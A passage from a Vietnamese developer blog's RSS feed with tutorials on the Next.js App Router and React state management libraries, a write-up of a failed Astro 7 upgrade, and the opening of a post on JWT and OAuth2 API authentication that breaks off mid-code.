| Client Components khi cần | &lt;code&gt;&apos;use client&apos;&lt;/code&gt; khi cần |
| API routes riêng | Server Actions + Route Handlers |&lt;/p&gt;
&lt;h2&gt;Cấu Trúc Project&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;src/
├── app/
│   ├── layout.tsx // Root layout
│   ├── page.tsx // Home page
│   ├── loading.tsx // Loading UI
│   ├── error.tsx // Error boundary
│   ├── not-found.tsx // 404
│   ├── blog/
│   │   ├── [slug]/
│   │   │   ├── page.tsx
│   │   │   └── loading.tsx
│   │   └── page.tsx
│   └── api/
│       └── posts/
│           └── route.ts // API Route Handler
├── components/
├── lib/
└── styles/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Server Components — Mặc Định&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// Mặc định là Server Component — không cần &apos;use client&apos;
export default async function PostPage({ params }: { params: { slug: string } }) {
  const post = await db.posts.findUnique({
    where: { slug: params.slug },
    include: { author: true },
  });

  if (!post) {
    notFound();
  }

  return (
    &amp;#x3C;article&gt;
      &amp;#x3C;h1&gt;{post.title}&amp;#x3C;/h1&gt;
      &amp;#x3C;p&gt;By {post.author.name}&amp;#x3C;/p&gt;
      &amp;#x3C;div&gt;{post.content}&amp;#x3C;/div&gt;
    &amp;#x3C;/article&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lợi ích: Direct database access, không bundle JS cho server code, nhỏ hơn, nhanh hơn.&lt;/p&gt;
&lt;h2&gt;Client Components — Khi Cần Tương Tác&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;&apos;use client&apos;;

import { useState } from &apos;react&apos;;
import { useRouter } from &apos;next/navigation&apos;;

export function LikeButton({ postId }: { postId: string }) {
  const [liked, setLiked] = useState(false);
  const router = useRouter();

  async function handleLike() {
    await fetch(&apos;/api/like&apos;, {
      method: &apos;POST&apos;,
      body: JSON.stringify({ postId }),
    });
    setLiked(true);
    router.refresh(); // Re-render Server Components
  }

  return (
    &amp;#x3C;button onClick={handleLike} className={liked ? &apos;liked&apos; : &apos;&apos;}&gt;
      {liked ? &apos;❤️&apos; : &apos;🤍&apos;}
    &amp;#x3C;/button&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nguyên tắc: Server Component mặc định, chỉ thêm &lt;code&gt;&apos;use client&apos;&lt;/code&gt; khi cần state, effect, event handler.&lt;/p&gt;
&lt;h2&gt;Server Actions — Không Cần API Route&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// actions.ts
&apos;use server&apos;;

import { revalidatePath } from &apos;next/cache&apos;;

export async function createPost(formData: FormData) {
  const title = formData.get(&apos;title&apos;) as string;
  const content = formData.get(&apos;content&apos;) as string;

  // Validate
  if (!title || title.length &amp;#x3C; 3) {
    return { error: &apos;Title must be at least 3 characters&apos; };
  }

  // DB
  await db.posts.create({ data: { title, content } });

  // Revalidate cache
  revalidatePath(&apos;/blog&apos;);

  return { success: true };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// Component
export function PostForm() {
  return (
    &amp;#x3C;form action={createPost}&gt;
      &amp;#x3C;input name=&quot;title&quot; required minLength={3} /&gt;
      &amp;#x3C;textarea name=&quot;content&quot; required /&gt;
      &amp;#x3C;button type=&quot;submit&quot;&gt;Create Post&amp;#x3C;/button&gt;
    &amp;#x3C;/form&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không cần API route — logic chạy trên server, an toàn, type-safe.&lt;/p&gt;
&lt;h2&gt;Data Fetching &amp;#x26; Caching&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// Static — fetch tại build time (SSG)
async function getStaticPost(slug: string) {
  const post = await fetch(`http://.../posts/${slug}`, {
    next: { revalidate: 3600 }, // ISR — revalidate mỗi giờ
  });
  return post.json();
}

// Dynamic — fetch mỗi request (SSR)
async function getDynamicPost(slug: string) {
  const post = await fetch(`http://.../posts/${slug}`, {
    cache: &apos;no-store&apos;, // Không cache
  });
  return post.json();
}

// Incremental Static Regeneration (ISR)
export const revalidate = 3600; // Revalidate page mỗi giờ
export const dynamic = &apos;force-static&apos;; // Static by default
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Middleware — Bảo Vệ Route&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// middleware.ts
import { NextResponse } from &apos;next/server&apos;;
import type { NextRequest } from &apos;next/server&apos;;

export function middleware(request: NextRequest) {
  const token = request.cookies.get(&apos;session&apos;)?.value;

  // Redirect nếu chưa login
  if (!token &amp;#x26;&amp;#x26; request.nextUrl.pathname.startsWith(&apos;/dashboard&apos;)) {
    return NextResponse.redirect(new URL(&apos;/login&apos;, request.url));
  }

  // Add header
  const response = NextResponse.next();
  response.headers.set(&apos;x-pathname&apos;, request.nextUrl.pathname);
  return response;
}

export const config = {
  matcher: [&apos;/dashboard/:path*&apos;, &apos;/admin/:path*&apos;],
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Image Optimization&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import Image from &apos;next/image&apos;;

export default function Profile({ user }: { user: User }) {
  return (
    &amp;#x3C;Image
      src={user.avatar}
      alt={user.name}
      width={300}
      height={300}
      priority={true}        // Above the fold
      placeholder=&quot;blur&quot;     // Blur placeholder
      blurDataURL=&quot;data:...&quot; // Base64 blur
    /&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next.js tự động: WebP, responsive sizes, lazy loading, preload priority images.&lt;/p&gt;
&lt;h2&gt;Metadata &amp;#x26; SEO&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import type { Metadata } from &apos;next&apos;;

export const metadata: Metadata = {
  title: {
    default: &apos;My Blog&apos;,
    template: &apos;%s | My Blog&apos;,
  },
  description: &apos;Tech blog about programming&apos;,
  openGraph: {
    title: &apos;My Blog&apos;,
    description: &apos;Tech blog about programming&apos;,
    type: &apos;website&apos;,
  },
  robots: {
    index: true,
    follow: true,
  },
};

// Per-page metadata
export async function generateMetadata({ params }): Promise&amp;#x3C;Metadata&gt; {
  const post = await getPost(params.slug);
  return {
    title: post.title,
    description: post.excerpt,
    openGraph: { images: [post.thumbnail] },
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Performance Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Server Components mặc định&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;next/image&lt;/code&gt; cho tất cả images&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;next/link&lt;/code&gt; cho client-side navigation&lt;/li&gt;
&lt;li&gt;[ ] Streaming với &lt;code&gt;loading.tsx&lt;/code&gt; và &lt;code&gt;Suspense&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;[ ] ISR cho content pages&lt;/li&gt;
&lt;li&gt;[ ] Static rendering cho public pages&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;next/font&lt;/code&gt; — tối ưu font (không render-blocking)&lt;/li&gt;
&lt;li&gt;[ ] Bundle analyzer — kiểm tra kích thước&lt;/li&gt;
&lt;li&gt;[ ] Analytics — Web Vitals tracking&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Deploy&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Build
npm run build

// vercel.json
{
  &quot;framework&quot;: &quot;nextjs&quot;,
  &quot;buildCommand&quot;: &quot;npm run build&quot;
}

// Docker
FROM node:20-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

FROM node:20-alpine AS runner
WORKDIR /app
COPY --from=builder /app/.next ./.next
COPY --from=builder /app/public ./public
COPY --from=builder /app/package.json ./
EXPOSE 3000
CMD [&quot;npm&quot;, &quot;start&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Next.js App Router là tương lai của React. Server Components + Server Actions giảm đáng kể JavaScript bundle. ISR cho content site, dynamic cho personalized pages. Middleware cho auth và redirects. Deploy lên Vercel hoặc Docker.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs&quot;&gt;Next.js Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app&quot;&gt;Next.js App Router&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations&quot;&gt;Next.js Server Actions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app/building-your-application/caching&quot;&gt;Next.js Caching Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app/building-your-application/optimizing/images&quot;&gt;Next.js Image Optimization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vercel.com/docs&quot;&gt;Vercel Deploy Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>State Management — Redux, Zustand, Jotai, TanStack Query</title><link>https://dopana-blog.pages.dev/blog/state-management</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/state-management</guid><description>So sánh các giải pháp quản lý state trong React: Redux Toolkit, Zustand, Jotai, và TanStack Query cho server state.</description><pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Quản lý state là một trong những vấn đề khó nhất trong frontend. Server state khác client state — mỗi loại có giải pháp riêng.&lt;/p&gt;
&lt;h2&gt;Client State vs Server State&lt;/h2&gt;
&lt;p&gt;| Client State | Server State |
|---|---|
| Theme, modal open/close | Dữ liệu từ API |
| Form input | User profile, posts |
| UI state | Cache tồn tại trên server |
| Chỉ liên quan đến UI | Cần sync với server |&lt;/p&gt;
&lt;h2&gt;Redux Toolkit — Chuẩn Mực Cho State Phức Tạp&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { createSlice, configureStore } from &apos;@reduxjs/toolkit&apos;;

// Slice
const cartSlice = createSlice({
  name: &apos;cart&apos;,
  initialState: { items: [], total: 0 },
  reducers: {
    addItem: (state, action) =&gt; {
      state.items.push(action.payload);
      state.total += action.payload.price;
    },
    removeItem: (state, action) =&gt; {
      state.items = state.items.filter(i =&gt; i.id !== action.payload);
      state.total = state.items.reduce((sum, i) =&gt; sum + i.price, 0);
    },
  },
});

export const { addItem, removeItem } = cartSlice.actions;

// Store
const store = configureStore({
  reducer: {
    cart: cartSlice.reducer,
  },
});

// Component
function Cart() {
  const items = useSelector((state) =&gt; state.cart.items);
  const dispatch = useDispatch();

  return (
    &amp;#x3C;&gt;
      {items.map(item =&gt; (
        &amp;#x3C;div key={item.id}&gt;
          {item.name}
          &amp;#x3C;button onClick={() =&gt; dispatch(removeItem(item.id))}&gt;Xoá&amp;#x3C;/button&gt;
        &amp;#x3C;/div&gt;
      ))}
    &amp;#x3C;/&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: State phức tạp, nhiều reducer, middleware (saga, thunk), lớn hơn vài trăm component.&lt;/p&gt;
&lt;h2&gt;Zustand — Đơn Giản, Nhẹ&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { create } from &apos;zustand&apos;;
import { persist } from &apos;zustand/middleware&apos;;

interface CartStore {
  items: CartItem[];
  total: number;
  addItem: (item: CartItem) =&gt; void;
  removeItem: (id: number) =&gt; void;
  clearCart: () =&gt; void;
}

const useCartStore = create&amp;#x3C;CartStore&gt;()(
  persist(
    (set, get) =&gt; ({
      items: [],
      total: 0,

      addItem: (item) =&gt; set((state) =&gt; ({
        items: [...state.items, item],
        total: state.total + item.price,
      })),

      removeItem: (id) =&gt; {
        const item = get().items.find(i =&gt; i.id === id);
        if (!item) return;
        set((state) =&gt; ({
          items: state.items.filter(i =&gt; i.id !== id),
          total: state.total - item.price,
        }));
      },

      clearCart: () =&gt; set({ items: [], total: 0 }),
    }),
    { name: &apos;cart-storage&apos; } // Persist to localStorage
  )
);

// Component
function Cart() {
  const { items, total, addItem, clearCart } = useCartStore();

  return (
    &amp;#x3C;div&gt;
      &amp;#x3C;p&gt;Total: {total}&amp;#x3C;/p&gt;
      &amp;#x3C;button onClick={() =&gt; addItem({ id: 1, name: &apos;Laptop&apos;, price: 1000 })}&gt;
        Add
      &amp;#x3C;/button&gt;
      &amp;#x3C;button onClick={clearCart}&gt;Clear&amp;#x3C;/button&gt;
    &amp;#x3C;/div&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: State vừa, muốn đơn giản, không muốn boilerplate.&lt;/p&gt;
&lt;h2&gt;Jotai — Atomic State&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { atom, useAtom } from &apos;jotai&apos;;

const countAtom = atom(0);
const doubledAtom = atom((get) =&gt; get(countAtom) * 2);

const userAtom = atom(async () =&gt; {
  const res = await fetch(&apos;/api/user&apos;);
  return res.json();
});

function Counter() {
  const [count, setCount] = useAtom(countAtom);
  const [doubled] = useAtom(doubledAtom);

  return (
    &amp;#x3C;div&gt;
      &amp;#x3C;p&gt;Count: {count}&amp;#x3C;/p&gt;
      &amp;#x3C;p&gt;Doubled: {doubled}&amp;#x3C;/p&gt;
      &amp;#x3C;button onClick={() =&gt; setCount(c =&gt; c + 1)}&gt;+&amp;#x3C;/button&gt;
    &amp;#x3C;/div&gt;
  );
}

function User() {
  const [user] = useAtom(userAtom);
  return &amp;#x3C;div&gt;{user.name}&amp;#x3C;/div&gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: State phân tán, muốn atomic update, không cần store lớn.&lt;/p&gt;
&lt;h2&gt;TanStack Query (React Query) — Server State&lt;/h2&gt;
&lt;p&gt;Giải pháp cho dữ liệu từ API — cache, refetch, stale management.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { useQuery, useMutation, useQueryClient } from &apos;@tanstack/react-query&apos;;

// Fetch data
function usePosts() {
  return useQuery({
    queryKey: [&apos;posts&apos;],
    queryFn: () =&gt; fetch(&apos;/api/posts&apos;).then(r =&gt; r.json()),
    staleTime: 5 * 60 * 1000, // 5 phút mới gọi lại
  });
}

// Mutate data
function useCreatePost() {
  const queryClient = useQueryClient();

  return useMutation({
    mutationFn: (newPost) =&gt;
      fetch(&apos;/api/posts&apos;, {
        method: &apos;POST&apos;,
        body: JSON.stringify(newPost),
      }).then(r =&gt; r.json()),

    onSuccess: () =&gt; {
      // Invalidate cache → tự động refetch
      queryClient.invalidateQueries({ queryKey: [&apos;posts&apos;] });
    },
  });
}

// Component
function Posts() {
  const { data, isLoading, error } = usePosts();
  const createPost = useCreatePost();

  if (isLoading) return &amp;#x3C;div&gt;Loading...&amp;#x3C;/div&gt;;
  if (error) return &amp;#x3C;div&gt;Error: {error.message}&amp;#x3C;/div&gt;;

  return (
    &amp;#x3C;&gt;
      &amp;#x3C;button onClick={() =&gt; createPost.mutate({ title: &apos;New post&apos; })}&gt;
        Create
      &amp;#x3C;/button&gt;
      {data.map(post =&gt; &amp;#x3C;PostItem key={post.id} post={post} /&gt;)}
    &amp;#x3C;/&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: Bất kỳ dự án nào gọi API — TanStack Query nên là mặc định cho server state.&lt;/p&gt;
&lt;h2&gt;So Sánh&lt;/h2&gt;
&lt;p&gt;| Thư viện | Client/Server | Boilerplate | Bundle size | Khi nào dùng |
|---|---|---|---|---|
| Redux Toolkit | Client | Nhiều | 11KB | App lớn, state phức tạp |
| Zustand | Client | Ít | 1KB | App vừa, đơn giản |
| Jotai | Client | Rất ít | 3KB | State phân tán, atomic |
| TanStack Query | Server | Ít | 13KB | Gần như mọi app |&lt;/p&gt;
&lt;h2&gt;Pattern Thực Tế&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Kết hợp Zustand (UI state) + TanStack Query (server state)

// UI state
const useUIStore = create(() =&gt; ({
  sidebarOpen: false,
  theme: &apos;light&apos;,
}));

// Server state — tự động cache, refetch, optimistic update
function useProjects() {
  return useQuery({
    queryKey: [&apos;projects&apos;],
    queryFn: fetchProjects,
  });
}

// Component
function Dashboard() {
  const { sidebarOpen, toggleSidebar } = useUIStore();
  const { data: projects, isLoading } = useProjects();

  return (
    &amp;#x3C;div className={sidebarOpen ? &apos;sidebar-open&apos; : &apos;&apos;}&gt;
      &amp;#x3C;button onClick={toggleSidebar}&gt;Toggle&amp;#x3C;/button&gt;
      {isLoading ? &amp;#x3C;Spinner /&gt; : &amp;#x3C;ProjectList projects={projects} /&gt;}
    &amp;#x3C;/div&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Server state: TanStack Query (React Query) — mặc định cho mọi dự án&lt;/li&gt;
&lt;li&gt;Client state phức tạp: Redux Toolkit hoặc Zustand&lt;/li&gt;
&lt;li&gt;Client state đơn giản: useState/useContext là đủ&lt;/li&gt;
&lt;li&gt;Form state: React Hook Form (không phải state management)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Không cần Redux cho mọi project. Hầu hết app chỉ cần TanStack Query + useState + vài Zustand store nhỏ.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://redux-toolkit.js.org/&quot;&gt;Redux Toolkit Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zustand.docs.pmnd.rs/getting-started/introduction&quot;&gt;Zustand Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jotai.org/docs&quot;&gt;Jotai Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tanstack.com/query/latest&quot;&gt;TanStack Query Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/reference/react/useReducer&quot;&gt;React useReducer Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/reference/react/useContext&quot;&gt;React useContext Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Thử nâng cấp Astro 7 nhưng thất bại</title><link>https://dopana-blog.pages.dev/blog/thu-nang-cap-astro-7-nhung-that-bai</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/thu-nang-cap-astro-7-nhung-that-bai</guid><description>Cố gắng nâng cấp blog từ Astro 6 lên Astro 7 nhưng gặp vấn đề tương thích với Rolldown</description><pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hôm nay tôi quyết định thử nâng cấp blog này từ Astro 6.1.8 lên Astro 7.0.7 - phiên bản mới nhất với nhiều cải tiến về hiệu suất. Tuy nhiên, kết quả không như mong đợi.&lt;/p&gt;
&lt;h2&gt;Astro 7 có gì mới?&lt;/h2&gt;
&lt;p&gt;Astro 7 là một bản nâng cấp lớn với nhiều thay đổi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vite 8 + Rolldown: Thay thế Rollup bằng Rolldown - bundler mới viết bằng Rust, được quảng cáo là nhanh hơn 10-30 lần&lt;/li&gt;
&lt;li&gt;Rust compiler: Compiler mới cho file &lt;code&gt;.astro&lt;/code&gt; thay thế version Go cũ&lt;/li&gt;
&lt;li&gt;Markdown processor mới: Sätteri thay thế pipeline remark/rehype mặc định&lt;/li&gt;
&lt;li&gt;Advanced routing: Tính năng routing nâng cao được bật mặc định&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Quá trình nâng cấp&lt;/h2&gt;
&lt;h3&gt;1. Cập nhật dependencies&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bun add astro@7.0.7 @astrojs/vercel@11.0.2 @astrojs/markdown-remark
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cần cài thêm &lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; vì Astro 7 mặc định dùng Sätteri, nhưng blog này vẫn muốn dùng pipeline remark/rehype cũ.&lt;/p&gt;
&lt;h3&gt;2. Cập nhật cấu hình&lt;/h3&gt;
&lt;p&gt;Trong &lt;code&gt;astro.config.ts&lt;/code&gt;, cần:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Xóa các flag experimental đã deprecated: &lt;code&gt;rustCompiler&lt;/code&gt;, &lt;code&gt;queuedRendering&lt;/code&gt;, &lt;code&gt;svgo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Cấu hình markdown để dùng &lt;code&gt;unified()&lt;/code&gt; từ &lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; thay vì &lt;code&gt;remarkPlugins&lt;/code&gt;/&lt;code&gt;rehypePlugins&lt;/code&gt; trực tiếp&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Cập nhật @astrojs/mdx&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bun add @astrojs/mdx@7.0.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Vấn đề gặp phải&lt;/h2&gt;
&lt;p&gt;Sau khi cập nhật, &lt;code&gt;astro check&lt;/code&gt; chạy thành công, nhưng &lt;code&gt;astro build&lt;/code&gt; thất bại với lỗi:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[PARSE_ERROR] Logical expressions and coalesce expressions cannot be mixed
- in node_modules/astro-pure/components/pages/PostPreview.astro at 2972..3003
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nguyên nhân&lt;/h2&gt;
&lt;p&gt;Astro 7 sử dụng Rolldown làm bundler mặc định thay vì Rollup. Tuy nhiên, phiên bản &lt;code&gt;astro-pure@1.4.6&lt;/code&gt; (theme đang dùng) có cú pháp mà Rolldown không thể parse được.&lt;/p&gt;
&lt;h2&gt;Thử nghiệm workaround&lt;/h2&gt;
&lt;p&gt;Tôi đã thử cấu hình để dùng Rollup thay vì Rolldown:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;vite: {
  build: {
    bundler: &apos;rollup&apos;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nhưng Astro không hỗ trợ option này trong cấu hình. Không có cách nào disable Rolldown trong Astro 7.&lt;/p&gt;
&lt;h2&gt;Giải pháp&lt;/h2&gt;
&lt;p&gt;Cuối cùng phải downgrade về Astro 6.4.7:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bun add astro@6.4.7 @astrojs/vercel@10.0.4 @astrojs/mdx@6.0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Và revert các thay đổi trong &lt;code&gt;astro.config.ts&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Bài học&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Kiểm tra compatibility: Trước khi upgrade major version, nên kiểm tra xem các dependencies quan trọng (như theme) đã hỗ trợ chưa&lt;/li&gt;
&lt;li&gt;Rolldown vẫn mới: Dù được quảng cáo là nhanh hơn, nhưng Rolldown vẫn còn nhiều vấn đề compatibility với các package cũ&lt;/li&gt;
&lt;li&gt;Chờ đợi update: Cần đợi astro-pure release version hỗ trợ Astro 7 trước khi thử lại&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết luận&lt;/h2&gt;
&lt;p&gt;Astro 7 có nhiều cải tiến hấp dẫn, nhưng hiện tại chưa phù hợp với blog này do vấn đề tương thích. Tôi sẽ chờ đợi astro-pure cập nhật trước khi thử nâng cấp lại.&lt;/p&gt;
&lt;p&gt;Nếu bạn đang dùng Astro 6 và có ý định upgrade lên 7, hãy kiểm tra kỹ các dependencies của mình, đặc biệt là nếu bạn dùng theme hoặc integration bên thứ ba.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build&quot;&gt;Astro Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://astro.build/blog/astro-7/&quot;&gt;Astro 7 Release Notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/unsik/astro-pure&quot;&gt;astro-pure Theme&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rolldown.rs&quot;&gt;Rolldown Bundler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/reference/experimental-flags/&quot;&gt;Astro Experimental Flags&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>API Security — OAuth2, JWT Và Bảo Vệ Endpoint</title><link>https://dopana-blog.pages.dev/blog/api-security</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/api-security</guid><description>Cơ chế xác thực và phân quyền cho API: OAuth2 flow, JWT best practices, và các biện pháp bảo vệ endpoint.</description><pubDate>Sun, 12 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Xác thực (authentication) và phân quyền (authorization) là hai việc khác nhau. Auth xác định bạn là ai, authorization xác định bạn được làm gì.&lt;/p&gt;
&lt;h2&gt;Authentication — Bạn Là Ai?&lt;/h2&gt;
&lt;h3&gt;JWT — JSON Web Token&lt;/h3&gt;
&lt;p&gt;JWT gồm 3 phần: &lt;code&gt;header.payload.signature&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjF9.abc123...
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import jwt from &apos;jsonwebtoken&apos;;

// Tạo token
function generateTokens(userId: number, role: string) {
  const accessToken = jwt.sign(
    { userId, role },
    process.env.JWT_SECRET!,
    { expiresIn: &apos;15m&apos; }
  );

  const refreshToken = jwt.sign(
    { userId },
    process.env.REFRESH_SECRET!,
    { expiresIn: &apos;7d&apos; }
  );

  return { accessToken, refreshToken };
}

// Verify token (middleware)
function authenticate(req: Request, res: Response, next: NextFunction) {
  const header = req.headers.authorization;
  if (!header?.startsWith(&apos;Bearer &apos;)) {
    return res.status(401).json({ error: &apos;Missing token&apos; });
  }

  try {
    const token = header.split(&apos; &apos;)[1];
    const payload = jwt.verify(token, process.env.JWT_SECRET!);
    req.user = payload;
    next();
  } catch {
    res.status(401).json({ error: &apos;Invalid token&apos; });
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;JWT Best Practices&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Access token ngắn (15 phút) — giảm thiểu rủi ro nếu bị lộ&lt;/li&gt;
&lt;li&gt;Refresh token dài (7-30 ngày) — lưu trong httpOnly cookie&lt;/li&gt;
&lt;li&gt;Không lưu secret trong code — dùng env variable&lt;/li&gt;
&lt;li&gt;Secret mạnh — ít nhất 256-bit random&lt;/li&gt;
&lt;li&gt;Có rotation — đổi refresh token mỗi lần dùng&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Refresh Token Flow&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;app.post(&apos;/auth/refresh&apos;, async (req, res) =&gt; {
  const token = req.cookies.refreshToken;
  if (!token) return res.status(401).json({ error: &apos;No refresh token&apos; });

  try {
    const payload = jwt.verify(token, process.env.REFRESH_SECRET!);

    // Verify token còn trong DB (có thể revoke)
    const stored = await db.refreshTokens.findUnique({ where: { token } });
    if (!stored) return res.status(401).json({ error: &apos;Token revoked&apos; });

    // Xoá token cũ, tạo token mới (rotation)
    await db.refreshTokens.delete({ where: { id: stored.id } });

    const tokens = generateTokens(payload.userId, payload.role);
    await db.refreshTokens.create({
      data: { token: tokens.refreshToken, userId: payload.userId }
    });

    res.cookie(&apos;refreshToken&apos;, tokens.refreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: &apos;strict&apos;,
      maxAge: 7 * 24 * 60 * 60 * 1000,
    });

    res.json({ accessToken: tokens.accessToken });
  } catch {
    res.status(401).json({ error: &apos;Invalid refresh token&apos; });
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;OAuth2 — Ủy Quyền Cho Bên Thứ Ba&lt;/h2&gt;
&lt;p&gt;OAuth2 cho phép user đăng nhập bằng Google, GitHub, Facebook mà không cần share password.&lt;/p&gt;
&lt;h3&gt;Flow Authorization Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;User → App → Redirect → Google Login → Authorization Code → App Server
                                                              ↓
                                            App Server → Google → Access Token
                                                              ↓
                                            App Server dùng token gọi Google API
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// 1. Redirect user đến Google
